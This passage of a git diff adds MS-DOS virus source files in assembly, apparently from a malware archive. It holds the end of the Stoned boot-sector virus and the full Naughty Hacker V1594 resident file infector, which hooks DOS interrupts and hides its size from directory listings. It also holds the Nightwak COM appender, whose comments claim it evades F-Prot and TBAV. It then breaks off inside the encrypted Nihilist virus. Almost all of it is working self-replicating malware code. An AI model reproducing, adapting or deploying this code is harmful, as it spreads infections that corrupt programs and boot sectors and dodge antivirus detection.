JMP BP0080 ; No more retries + +BP0060: XOR SI,SI ; Start of program + MOV DI,200H ; Boot sector buffer + CLD + PUSH CS ; \ Set DS to CS + POP DS ; / + LODSW ; Get first word + CMP AX,[DI] ; Test if same + JNE BP0070 ; Install if not + LODSW ; Get second word + CMP AX,[DI+2] ; Test if same + JE BP0080 ; Branch if same +BP0070: MOV AX,301H ; Write one sector + MOV BX,200H ; Boot sector buffer + MOV CL,3 ; Sector 3 + MOV DH,1 ; Head 1 + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H + JB BP0080 ; Branch if error + MOV AX,301H ; Write one sector + XOR BX,BX ; This sector + MOV CL,1 ; Track zero, sector 1 + XOR DX,DX ; Head zero, drive A + PUSHF ; Fake an interrupt + CALL INT_13 ; Call Int 13H +BP0080: POP DI + POP SI + POP ES + POP DX + POP CX + POP BX + RET + +; Install in high core + +BP0110: XOR AX,AX ; \ Segment zero + MOV DS,AX ; / + CLI + MOV SS,AX ; \ Set stack to boot sector area + MOV SP,7C00H ; / + STI + MOV AX,BW004C ; Get Int 13H offset + MOV I13_OF,AX ; Store in jump offset + MOV AX,BW004E ; Get Int 13H segment + MOV I13_SG,AX ; Store in jump segment + MOV AX,BW0413 ; Get total RAM size + DEC AX ; \ Subtract 2k + DEC AX ; / + MOV BW0413,AX ; Replace total RAM size + MOV CL,6 ; Bits to move + SHL AX,CL ; Convert to Segment + MOV ES,AX ; Set ES to segment + MOV HICOSG,AX ; Move segment to jump address + MOV AX,OFFSET BP0020 ; Get Int 13H routine address + MOV BW004C,AX ; Set new Int 13H offset + MOV BW004E,ES ; Set new Int 13H segment + MOV CX,OFFSET ENDADR ; Load length of program + PUSH CS ; \ Set DS to CS + POP DS ; / + XOR SI,SI ; \ Set pointers to zero + MOV DI,SI ; / + CLD + REP MOVSB ; Copy program to high core + JMP HIGHCO ; Branch to next instruc in high core + +; Continue processing in high core + +BP0120: MOV AX,0 ; Reset disk sub-system + INT 13H ; Disk I/O + XOR AX,AX ; \ Segment zero + MOV ES,AX ; / + ASSUME DS:NOTHING,ES:RAM + MOV AX,201H ; Read one sector + MOV BX,7C00H ; Boot sector buffer address + CMP DRIVEN,0 ; Test drive is A + JE BP0130 ; Branch if yes + MOV CX,7 ; Track zero, sector 7 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +; Floppy disk + +BP0130: MOV CX,3 ; Track zero, sector 3 + MOV DX,100H ; Side one, drive A + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + TEST BB046C,7 ; Test low byte of time + JNZ BP0140 ; Branch if not 7 + MOV SI,OFFSET MESSAGE ; Load message address + PUSH CS ; \ Set DS to CS + POP DS ; / +BP0135: LODSB ; Get next byte of message + OR AL,AL ; Is it zero + JZ BP0140 ; Branch if yes + MOV AH,0EH ; Write TTY mode + MOV BH,0 + INT 10H ; VDU I/O + JMP BP0135 ; Process next byte + +BP0140: PUSH CS ; \ Set ES to CS + POP ES ; / + MOV AX,201H ; Read one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CL,1 ; Sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV SI,200H ; C-disk boot sector buffer + MOV DI,0 ; Start of program + LODSW ; Get first word + CMP AX,[DI] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different + LODSW ; Get second word + CMP AX,[DI+2] ; Compare to C-disk + JNE BP0160 ; Install on C-disk if different +BP0150: MOV DRIVEN,0 ; Drive A + JMP BOOTST ; Pass control to boot sector + +; Install on C-disk + +BP0160: MOV DRIVEN,2 ; Drive C + MOV AX,301H ; Write one sector + MOV BX,200H ; C-disk boot sector buffer + MOV CX,7 ; Track zero, sector 7 + MOV DX,80H ; side zero, drive C + INT 13H ; Disk I/O + JB BP0150 ; Branch if error + PUSH CS ; \ Set DS to CS + POP DS ; / + PUSH CS ; \ Set ES to CS + POP ES ; / + MOV SI,OFFSET MESS02+200H ; Target offset + MOV DI,OFFSET MESS02 ; Source offset + MOV CX,OFFSET 400H-MESS02 ; Length to move + REP MOVSB ; Copy C-disk boot sector + MOV AX,301H ; Write one sector + XOR BX,BX ; Write this sector + INC CL ; Track zero, sector 1 + MOV DX,80H ; Side zero, drive C + INT 13H ; Disk I/O + JMP BP0150 ; Pass control to boot sector + +MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0 +MESS02 DB 'LEGALISE MARIJUANA!' +ENDADR EQU $ + +CODE ENDS + + END START + +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ +; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/MSDOS/Virus.MSDOS.Unknown.nhackerf.asm b/MSDOS/Virus.MSDOS.Unknown.nhackerf.asm new file mode 100644 index 00000000..9d9096fe --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nhackerf.asm @@ -0,0 +1,958 @@ + + .radix 16 + + + ;********************************* + ;* The Naughty Hacker's virus * + ;*VERSION 3.1 (And not the last.)* + ;* ( V1594 ) * + ;* Finished on the 10.04.1991 * + ;* * + ;* Glad to meet you friend! * + ;* * + ;********************************* + +; +; "It's hard to find a black cat in a dark room, especially if it's not there." +; +; °¥¤ ¢ ± ±²®¨ ®°¨£¨­ «­¨¿ ²¥ª±² ­  V1594 ( ª® ¬®¦¥ ² ª  ¤  ª ¦¥ !@!?!). +; €¢²®°º² (Š®­¿) ¯°¥¤¢ °¨²¥«­® ¯°¥¤³¯°¥¦¤ ¢ ,·¥ ­¥ ¦¥« ¥ ²®§¨ ²¥ª±² ¤  ¡º¤¥ +; ¯°®¬¥­¿­ ¯® ­¨ª ªº¢ ­ ·¨­, ­®  ª® ¦¥« ¥²¥ ¤  £® ³±º¢º°¸¥­±²¢ ²¥ ¬®¦¥ ¤  +; ­ ¯° ¢¨²¥ ²®¢  ­ ¯º«­® ±¢®¡®¤­® ¯°¨ ¥¤¨­±²¢¥­®²® ³±«®¢¨¥, ·¥ ¢ ¯®«³·¥­ ²  +; ­®¢  ¢¥°±¨¿ ­¿¬  ¤  ¨¬  ­¨ª ª¢¨ ° §°³¸¨²¥«­¨ ´³­ª¶¨¨. +; €¢²®°º² ­¥ ¯®¥¬  ­¨ª ª¢  ®²£®¢®°­®±² §  ¹¥²¨ ¯°¨·¨­¥­¨ ®² ‚ˆ“‘€ ...... +; +; „  ±¥ ª®¬¯¨«¨°  ­  TURBO ASSEMBLER Ver 1.03B. ’ ª  ¯®«³·¥­¨¿ ª®¤ ¥ £®²®¢ +; §  ±² °²¨° ­¥ ¨ .... +; +; ®§¤° ¢¨ ¤® ¢±¨·ª¨ VIRUSWRITERS ! +; +; +; To be continued ... +; + + + call Start_Virus + mov dx,offset Hellomsg + mov ah,9 + int 21 + int 20 + +Hellomsg db 0a,0dh,7,'HI WORLD,GIVE ME COMMAND.COM !!!',0a,0dh,7,'$' + + Virus_lenght equ endcode-adjust + alllen equ buffer-adjust + + adjust label word + + + IP_save label word + + First_3 Label Byte + ;For .COM file here stores + ret + nop + nop + + CS_save dw ? ;The first 3 bytes + SP_save dw ? + SS_save dw 0FFFF ;0FFFF For COM files + + +signature: + + db 'N.Hacker' ;It's me the HORSE !!! + +date_stamp: + + dd 10041991 ;10.04.1991 + +Run_The_Program: + + pop ds ;Restore saved ds,es,ax + pop es ;ds=es=PSP + pop ax + cmp cs:[bp+SS_save-adjust],0FFFF ;Run the infected program + je Run_COM_File + + mov ax,ds ;Calculate load segment + add ax,10 + mov bx,ax + add ax,cs:[bp+CS_save-adjust] ;Calculate CS value + add bx,cs:[bp+SS_save-adjust] ;Calculate SS value + mov ss,bx ;Run .EXE program + mov sp,word ptr cs:[bp+SP_save-adjust] + push ax + push word ptr cs:[bp+IP_save-adjust] + retf + +Run_COM_File: + + mov di,100 + mov si,bp + movsb ;Restore the first 3 bytes + movsw ;Run .COM program + mov bx,100 + push bx + sub bh,bh + ret + +;******************************************************************* +; * +; This is the program entry.... * +; * +;******************************************************************* + + +Start_Virus: + + call Get_IP ;This is to get the IP value. + +Get_IP: + pop bp ;Get it in BP. + sub bp,Get_IP-adjust ;adjust BP point to the begining + cld ;Clear direction flag + push ax ;Save some registres + push es + push ds + mov es,[2] ;get last segment + mov di,Run_The_Program-adjust ;(last segment=segment of virus) + + push ds + push cs + pop ds + mov si,di + add si,bp + mov cx,endcode-Run_The_Program + rep cmpsb ;check if virus is in memory + pop ds + push ds + pop es + je Run_The_Program ;If so then run the program + + mov word ptr cs:[bp+handle-adjust],0ffff ;set handle_save + mov ax,ds + dec ax + mov ds,ax ;ds=MCB + sub word ptr [3],80 ;Set block size + sub word ptr [12],80 ;Set last segment + mov es,[12] ;steal some memory (2K) + push cs + pop ds + sub di,di + mov si,bp ;prepare to move in high mem + mov cx,alllen ;will move virus+variables + rep movsb ;copy there + push cs + mov ax,Run_The_Program-adjust + add ax,bp + push ax + push es + mov ax,offset Set_Vectors-adjust ;Set vectors + push ax + retf + +Find_First_Next: + + call Call_Original_INT_21h ;fuck when do the dir command + push bx + push es + push ax + or al,al + jnz Go_Out_ ;if error + + mov ah,2f ;get DTA address + int 21 + + mov al,byte ptr es:[bx+30d] ;Seconds in al + and al,31d ;Mask seconds + cmp al,60d/2 ;Seconds=60? + jne Go_Out_ + + mov ax,es:[bx+36d] + mov dx,es:[bx+38d] ;Check File size + cmp ax,Virus_lenght*2 + sbb dx,0 + jb Go_Out_ + + +Adjust_Size: + + sub es:[bx+28d+7+1],Virus_lenght ;Adjust size + sbb es:[bx+28d+2+7+1],0 + +Go_Out_: + + pop ax + pop es ;Return to caller + pop bx + iret + +Find_First_Next1: + + call Call_Original_INT_21h + pushf + push ax + push bx ;fuck again + push es + jc Go_Out_1 + + mov ah,2f + int 21 + + mov al,es:[bx+22d] + and al,31d + cmp al,60d/2 + jne Go_Out_1 + + mov ax,es:[bx+26d] + mov dx,es:[bx+28d] + cmp ax,Virus_lenght*2 + sbb dx,0 + jb Go_Out_1 + +Adjust_Size1: + + sub es:[bx+26d],Virus_lenght + sbb es:[bx+28d],0 + +Go_Out_1: + + pop es + pop bx + pop ax ; Dummy proc far + popf ; ret 2 + db 0ca,2,0 ;retf 2 ; Dummy endp => BUT too long... + + + ;************************************* + ; * + ; Int 21 entry point. * + ; * + ;************************************* + + + +INT_21h_Entry_Point: + + + cmp ah,11 + je Find_First_Next ;Find First Next (old) + cmp ah,12 + je Find_First_Next + + cmp ah,4e ;Find First Next (new) + je Find_First_Next1 + cmp ah,4f + je Find_First_Next1 + + cmp ah,6ch + jne not_create ;Create (4.X) + test bl,1 + jz not_create + jnz create + +not_create: + + cmp ah,3ch ;Create (3.X) + je create + cmp ah,5bh + je create + + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov byte ptr cs:[function-adjust],ah + + cmp ah,6ch ;Open (4.X) + je create_ + + cmp ah,3e ;Close + je close_ + + cmp ax,4b00 ;Exec + je Function_4Bh + + cmp ah,17 ;Rename (old) + je ren_FCB + + cmp ah,56 ;Rename (new) + je Function_4Bh + + cmp ah,43 ;Change attributes + je Function_4Bh + + cmp ah,3dh ;Open (3.X) + je open + +Return_Control: + + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + +Go_out: + + jmp dword ptr cs:[current_21h-adjust] ;go to the old int 21 + +create_: + + or bl,bl ;Create file? + jnz Return_Control + mov dx,si + jmp Function_4Bh + +ren_FCB: + + cld + inc dx + mov si,dx + mov di,offset buffer-adjust + push di + push cs + pop es ;Convert FCB format Fname into ASCIIZ string + mov cx,8 + rep movsb + mov al,'.' + stosb + mov cx,3 + rep movsb + sub al,al + stosb + pop dx + push cs + pop ds + jmp Function_4Bh + +create: + +; cmp word ptr cs:[handle-adjust],0ffff +; jne Go_out + + call Call_Original_INT_21h + jc Error + mov word ptr cs:[handle-adjust],ax + jnc Exit_ +Error: + mov word ptr cs:[handle-adjust],0ffff ;Useless +Exit_: +; retf 2 + db 0ca,2,0 + +close_: + cmp word ptr cs:[handle-adjust],0ffff + je Return_Control + cmp bx,word ptr cs:[handle-adjust] + jne Return_Control + + mov ah,45 + call Infect_It + mov word ptr cs:[handle-adjust],0ffff + jmp Return_Control + +Function_4Bh: + + mov ax,3d00h +open: + call Infect_It + jmp Return_Control + +;****************************************** +; * +; This infects the programs... * +; * +;****************************************** + +Infect_It: + + call Call_Original_INT_21h ;this is the infecting part + jnc No_error + ret + +No_error: + + xchg ax,bp + mov byte ptr cs:[flag-adjust],0 + mov ah,54 + call Call_Original_INT_21h + mov byte ptr cs:[veri-adjust],al + cmp al,1 ;Switch off verify... + jne Go_On_Setting + mov ax,2e00 + call Call_Original_INT_21h + +Go_On_Setting: + + push cs + push cs + pop ds + pop es + mov dx,offset DOS_13h-adjust + mov bx,dx ;Set New DOS int 13h + mov ah,13 + call Call_Original_INT_2Fh + + mov ax,3513 + call Call_Original_INT_21h + push bx + push es + + mov word ptr cs:[current_13h-adjust],bx + mov word ptr cs:[current_13h-adjust+2],es + + mov ah,25 + mov dx,INT_13h_entry-adjust ;Set int 13h + push cs + pop ds + call Call_Original_INT_21h + + mov ax,3524 + call Call_Original_INT_21h + push bx + push es + + mov ah,25 + mov dx,INT_24h_entry-adjust ;Set int 24h (Useless maybe...). + call Call_Original_INT_21h + + xchg bx,bp + push bx + mov ax,1220 + call Call_Original_INT_2Fh + mov bl,es:[di] ;Remember the good old V512 ? + mov ax,1216 + call Call_Original_INT_2Fh + pop bx + add di,11 + + mov byte ptr es:[di-15d],2 + mov ax,es:[di] + mov dx,es:[di+2] + cmp ax,Virus_lenght+1 + sbb dx,0 + jnb Go_on + jmp close +Go_on: + cmp byte ptr cs:[function-adjust],3dh + je Scan_name + cmp byte ptr cs:[function-adjust],6ch + jne Dont_Scan_Name + +Scan_name: + + push di + add di,0f + mov si,offset fname-adjust ;wasn't that the last opened file? + cld + mov cx,8+3 + rep cmpsb + pop di + jne Dont_Scan_Name + jmp close + +Dont_Scan_Name: + + cmp es:[di+18],'MO' + jne Check_For_EXE ;check for .COM file + cmp byte ptr es:[di+17],'C' + jne Check_For_EXE + jmp com + +Check_For_EXE: + + cmp es:[di+18],'EX' + jne Not_good ;check for .EXE file + cmp byte ptr es:[di+17],'E' + je Check_For_Valid_EXE + +Not_good: + + jmp close + +Check_For_Valid_EXE: + + call Read_First_18 + cmp word ptr [si],'ZM' + je Valid_EXE ;check for valid .EXE file + cmp word ptr [si],'MZ' + je Valid_EXE + jmp close + + Valid_EXE: + + cmp word ptr [si+0c],0ffff ;only low-mem .EXE + je Low_Mem + jmp close + +Low_Mem: + + mov cx,[si+16] + add cx,[si+8] ;Something common with EDDIE.. + mov ax,10 + mul cx + add ax,[si+14] + adc dx,0 + mov cx,es:[di] + sub cx,ax + xchg cx,ax + mov cx,es:[di+2] + sbb cx,dx + or cx,cx + jnz Not_Infected_EXE ;infected? + cmp ax,(endcode-Start_Virus) + jne Not_Infected_EXE + jmp close + +Not_Infected_EXE: + + mov ax,[si+10] + mov [SP_save-adjust],ax + mov ax,[si+0e] + mov [SS_save-adjust],ax + mov ax,[si+14] + mov [IP_save-adjust],ax + mov ax,[si+16] + mov [CS_save-adjust],ax ;set the new header + mov ax,es:[di] + mov dx,es:[di+2] + + add ax,Virus_lenght + adc dx,0 + mov cx,200 ;(C) by Lubo & Jan... + div cx + mov [si+2],dx + or dx,dx + jz OK_MOD + inc ax + +OK_MOD: + mov [si+4],ax + mov ax,es:[di] + mov dx,es:[di+2] + + mov cx,4 + push ax + +Compute: + + shr dx,1 + rcr ax,1 + loop Compute + pop dx + and dx,0f + + sub ax,[si+8] + add dx,Start_Virus-adjust + adc ax,0 + mov [si+14],dx + mov [si+16],ax + add ax,(Virus_lenght)/16d+1 + mov [si+0eh],ax + mov [si+10],100 + write: + mov ax,5700 + call Call_Original_INT_21h + push cx + push dx + + sub cx,cx + mov es:[di+4],cx + mov es:[di+6],cx + mov cl,20 + xchg cl,byte ptr es:[di-0dh] + push cx + mov ah,40 ;this writes the first few bytes and glues the virus + mov dx,buffer-adjust + mov cx,18 + + call Call_Original_INT_21h + mov ax,es:[di] + mov es:[di+4],ax + mov ax,es:[di+2] + mov es:[di+6],ax + call Check_For_COMMAND ;(C) + jne Dont_Adjust_Size + sub es:[di+4],Virus_lenght + sbb es:[di+6],0 ;??????????????????????????????? + +Dont_Adjust_Size: + + mov ah,40 + sub dx,dx + mov cx,Virus_lenght + call Call_Original_INT_21h + + pop cx + mov byte ptr es:[di-0dh],cl + pop dx + pop cx + + cmp byte ptr cs:[flag-adjust],0ff + je Set_Time_and_Date +exit: + call Check_For_COMMAND + je Set_Time_and_Date + and cl,11100000b + or cl,60d/2 + +Set_Time_and_Date: + + mov ax,5701 + call Call_Original_INT_21h +close: + + mov ah,3e + call Call_Original_INT_21h + push es + pop ds + mov si,di + add si,0f + mov di,fname-adjust + push cs + pop es + mov cx,8+3 ;save the fname to a quit place + cld + rep movsb + push cs + pop ds + + cmp byte ptr cs:[flag-adjust],0ff + jne Dont_Clear_Buffers + mov ah,0dh ;if error occured->clear disk buffers + + call Call_Original_INT_21h + +Dont_Clear_Buffers: + + les bx,[org_13h-adjust] + lds dx,[org_13h-adjust] + mov ah,13 + call Call_Original_INT_2Fh + + cmp byte ptr cs:[veri-adjust],1 + jne Restore_Vectors + mov ax,2e01 + + call Call_Original_INT_21h + +Restore_Vectors: + + sub ax,ax + mov ds,ax + pop [24*4+2] + pop [24*4] + pop [13*4+2] + pop [13*4] ;restore vectors and return + ret + com: + test byte ptr es:[di-0dh],4 ;if it is a system file + jnz Not_OK_COM_File ;I had some problems here with + ;V1160 & V1776 (with the ball) + cmp es:[di],65535d-Virus_lenght*2-100 + ja Not_OK_COM_File + + call Read_First_18 + cmp byte ptr [si],0E9 + jne OK_COM_file + mov ax,es:[di] + sub ax,[si+1] ;infected? + cmp ax,(endcode-Start_Virus+3) + je Not_OK_COM_File + +OK_COM_file: + + mov word ptr [SS_save-adjust],0FFFF + push si + lodsb + mov word ptr [First_3-adjust],ax + lodsw + mov word ptr [First_3-adjust+1],ax + pop si + mov ax,es:[di] + add ax,Start_Virus-adjust-3 + call Check_For_COMMAND + jne Normally + sub ax,Virus_lenght + +Normally: + + mov byte ptr [si],0E9 + mov word ptr [si+1],ax + jmp write + +Not_OK_COM_File: + + jmp close + +Set_Vectors: + + sub ax,ax + mov ds,ax + + push [1*4] + push [1*4+2] ; <= (C) by N.Hacker. + + pushf + pushf + pushf + pushf + + mov byte ptr cs:[flag-adjust],ah + mov byte ptr cs:[my_flag-adjust],ah + mov word ptr cs:[limit-adjust],300 + mov word ptr cs:[mem_-adjust],org_21h-adjust + + mov [1*4],offset trap-adjust + mov [1*4+2],cs + + call set_trace + + mov ax,3521 + + call dword ptr [21h*4] + + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[mem_-adjust],org_2fh-adjust + + call set_trace + + mov ax,1200 + + call dword ptr [2fh*4] ;do trace int 2f + + + mov byte ptr cs:[flag-adjust],0 + mov byte ptr cs:[my_flag-adjust],0FF + mov word ptr cs:[limit-adjust],0C800 + mov word ptr cs:[mem_-adjust],org_13h-adjust + + call set_trace + + sub ax,ax + mov dl,al + + call dword ptr [13h*4] ;do trace int 13 + + mov byte ptr cs:[flag-adjust],0 + mov word ptr cs:[limit-adjust],0F000 + mov word ptr cs:[mem_-adjust],Floppy_org_13h-adjust + + call set_trace + + sub ax,ax + mov dl,al + + call dword ptr [13h*4] + + pop [1*4+2] + pop [1*4] + + les ax,[21*4] + mov word ptr cs:[current_21h-adjust],ax ;get old int 21 + mov word ptr cs:[current_21h-adjust+2],es + mov [21*4], INT_21h_Entry_Point-adjust ;set it + mov [21*4+2],cs + retf + +set_trace: + + pushf + pop ax + or ax,100 + push ax + popf + ret + +trap: + push bp + mov bp,sp + push bx + push di + cmp byte ptr cs:[flag-adjust],0ff + je off + mov di,word ptr cs:[mem_-adjust] + mov bx,word ptr cs:[limit-adjust] + cmp [bp+4],bx + pushf + cmp word ptr cs:[my_flag-adjust],0ff + jne It_Is_JA + + popf + jb Go_out_of_trap + jmp It_Is_JB + +It_Is_JA: + + popf + ja Go_out_of_trap + +It_Is_JB: + + mov bx,[bp+2] + mov word ptr cs:[di],bx + mov bx,[bp+4] + mov word ptr cs:[di+2],bx + mov byte ptr cs:[flag-adjust],0ff +off: + and [bp+6],0feff + +Go_out_of_trap: + + pop di + pop bx + pop bp + iret + +Call_Original_INT_21h: + + pushf + call dword ptr cs:[org_21h-adjust] + ret + +Call_Original_INT_2Fh: + + pushf + call dword ptr cs:[org_2fh-adjust] + ret + +INT_24h_entry: + + mov al,3 + iret + +;************************** +; (C) by N.Hacker. * +; (bellow) * +;************************** + +INT_13h_entry: + + mov byte ptr cs:[next_flag-adjust],0 + + cmp ah,2 + jne Other + + cmp byte ptr cs:[function-adjust],03Eh + jne Dont_hide + + dec byte ptr cs:[next_flag-adjust] + inc ah + jmp Dont_hide + +Other: + + cmp ah,3 + jne Dont_hide + + cmp byte ptr cs:[flag-adjust],0ff + je no_error_ + + cmp byte ptr cs:[function-adjust],03Eh + je Dont_hide + + inc byte ptr cs:[next_flag-adjust] + dec ah + +Dont_hide: + + pushf + call dword ptr cs:[current_13h-adjust] + jnc no_error_ + mov byte ptr cs:[flag-adjust],0ff + +no_error_: + + clc + db 0ca,02,0 ;retf 2 + + +DOS_13h: + + cmp byte ptr cs:[next_flag-adjust],0 + je OK + + cmp ah,2 + je Next + cmp ah,3 + jne OK +Next: + cmp byte ptr cs:[next_flag-adjust],1 + jne Read + inc ah + jne OK +Read: + + dec ah +OK: + test dl,80 + jz Floppy + jmp dword ptr cs:[org_13h-adjust] +Floppy: + jmp dword ptr cs:[Floppy_org_13h-adjust] + + +Read_First_18: + + sub ax,ax + mov es:[di+4],ax + mov es:[di+6],ax + mov ah,3f + mov cx,18 + mov dx,buffer-adjust + mov si,dx + call Call_Original_INT_21h + ret + +Check_For_COMMAND: + + cmp es:[di+0f],'OC' + jne Not_COMMAND + cmp es:[di+11],'MM' + jne Not_COMMAND + cmp es:[di+13],'NA' + jne Not_COMMAND ;check for command.com + cmp es:[di+15],' D' + jne Not_COMMAND + cmp es:[di+17],'OC' + jne Not_COMMAND + cmp byte ptr es:[di+19],'M' + +Not_COMMAND: + + ret + +endcode label word + + current_21h dd ? + null dd ? ;I forgot to remove this variable... + current_13h dd ? + org_2fh dd ? + org_13h dd ? + org_21h dd ? + Floppy_org_13h dd ? + flag db ? ;0ff if error occures + veri db ? + handle dw ? + fname db 8+3 dup (?) + function db ? + my_flag db ? + limit dw ? + mem_ dw ? + next_flag db ? + +buffer label word + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.nightwak.asm b/MSDOS/Virus.MSDOS.Unknown.nightwak.asm new file mode 100644 index 00000000..f7e9a65d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nightwak.asm @@ -0,0 +1,119 @@ +; +; Simple com appender destined to be another SillyC +; so im putting the file name in as the virus name .. nuff said +; +; Unscannable by F-Prot & by TBAV with no flags +; Uses a novel way of beating S flag +; +; Scans as a VCL/IVP variant with AVP/DSAV +; +.model tiny +.code + org 100h +begin: + db 0E9h + dw offset start-103h +start: + call delta +delta: + pop bp + sub bp,offset delta + and word ptr [begin],0 + and byte ptr [begin+2],0 + or ah,[old_bytes+bp] + or al,[old_bytes+bp+1] + or bh,[old_bytes+bp+2] + or byte ptr [begin],ah + or byte ptr [begin+1],al + or byte ptr [begin+2],bh + and byte ptr [f_string+bp],7Fh + and byte ptr [f_string+bp+1],7Fh + and byte ptr [f_string+bp+2],7Fh + and byte ptr [f_string+bp+3],7Fh + and byte ptr [f_string+bp+4],7Fh + mov dh,1ah + lea ax,[bp+offset dta] + xchg ax,dx + int 21h + mov dh,4eh +find_next: + xor cx,cx + lea ax,[bp+offset f_string] + xchg ax,dx + int 21h + jc done2 + mov cl,[dta+1ah+bp] + mov ch,[dta+1bh+bp] + sub cx,3 + mov [new_bytes+1+bp],cl + mov [new_bytes+2+bp],ch + mov dx,3D02h + lea ax,[bp+offset dta+1Eh] + xchg ax,dx + int 21h + xchg ax,bx + mov dh,3fh + mov cx,3 + lea ax,[bp+offset old_bytes] + xchg ax,dx + int 21h + cmp [bp+old_bytes],0E9h + jne okay + mov ah,3eh + int 21h + mov dh,4fh + jmp find_next +done2: + jmp done +okay: + mov dx,4200h + xor cx,cx + xor ax,ax + xchg ax,dx + int 21h + mov dh,40h + mov cx,3 + lea ax,[bp+offset new_bytes] + xchg ax,dx + and byte ptr [n1+bp+1],7fh +n1: + int 0A1h + mov byte ptr [n1+bp+1],0A1h + mov dx,4202h + xor cx,cx + xor ax,ax + xchg ax,dx + int 21h + mov dh,40h + mov cx, offset theend - offset start + 56 + or byte ptr [f_string+bp],80h + or byte ptr [f_string+bp+1],80h + or byte ptr [f_string+bp+2],80h + or byte ptr [f_string+bp+3],80h + or byte ptr [f_string+bp+4],80h + lea ax,[bp+offset start] + xchg ax,dx + and byte ptr [n2+bp+1],7fh +n2: + int 0A1h + mov ah,3Eh + int 21h +done: + mov ax,101h + xor bx,bx + xchg ax,bx + xor cx,cx + dec bx + xor dx,dx + push bx + xor bp,bp + xor bx,bx + ret +;danke db 'Nightwak' +theend: +.data +old_bytes db 0c3h,90h,90h +new_bytes db 0E9h, 2 dup (0) +dta db 42 dup(0) +f_string db '*'+80h,'.'+80h,'c'+80h,'o'+80h,'m'+80h,0,0 + end begin diff --git a/MSDOS/Virus.MSDOS.Unknown.nihilist.asm b/MSDOS/Virus.MSDOS.Unknown.nihilist.asm new file mode 100644 index 00000000..747d8655 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nihilist.asm @@ -0,0 +1,473 @@ +; nihilist.asm : [Nihilist] +; Created with Biological Warfare - Version 0.90á by MnemoniX + +PING equ 0D86Bh +PONG equ 043C4h +STAMP equ 25 +MARKER equ 0F0FFh + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + + mov dx,VIRUS_SIZE / 2 + 1 + db 0BBh ; decryption module +code_offset dw offset virus_code + +decrypt: + db 02Eh,081h,37h ; XOR CS:[BX] +cipher dw 0 + inc bx + inc bx + dec dx + jnz decrypt + + +virus_code: + push ds es + + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + xor ax,ax ; mild anti-trace code + mov es,ax ; kill interrupts 1 & 3 + mov di,6 + stosw + mov di,14 + stosw + + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + + mov ax,PING ; test for residency + int 21h + cmp cx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs + cmp sp,MARKER ; check for .EXE + je exe_exit + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + push ax + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + + pop ax + add ax,cs:[bp + exe_ss] ; restore stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call fix_regs ; fix up registers + sti + + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SS:SP +exe_ss dw -16 + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth + cmp ah,4Eh ; directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + cmp ah,3Dh ; file open + je file_open + cmp ax,4B00h ; execute program + jne int_21_exit + jmp execute +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov cx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js 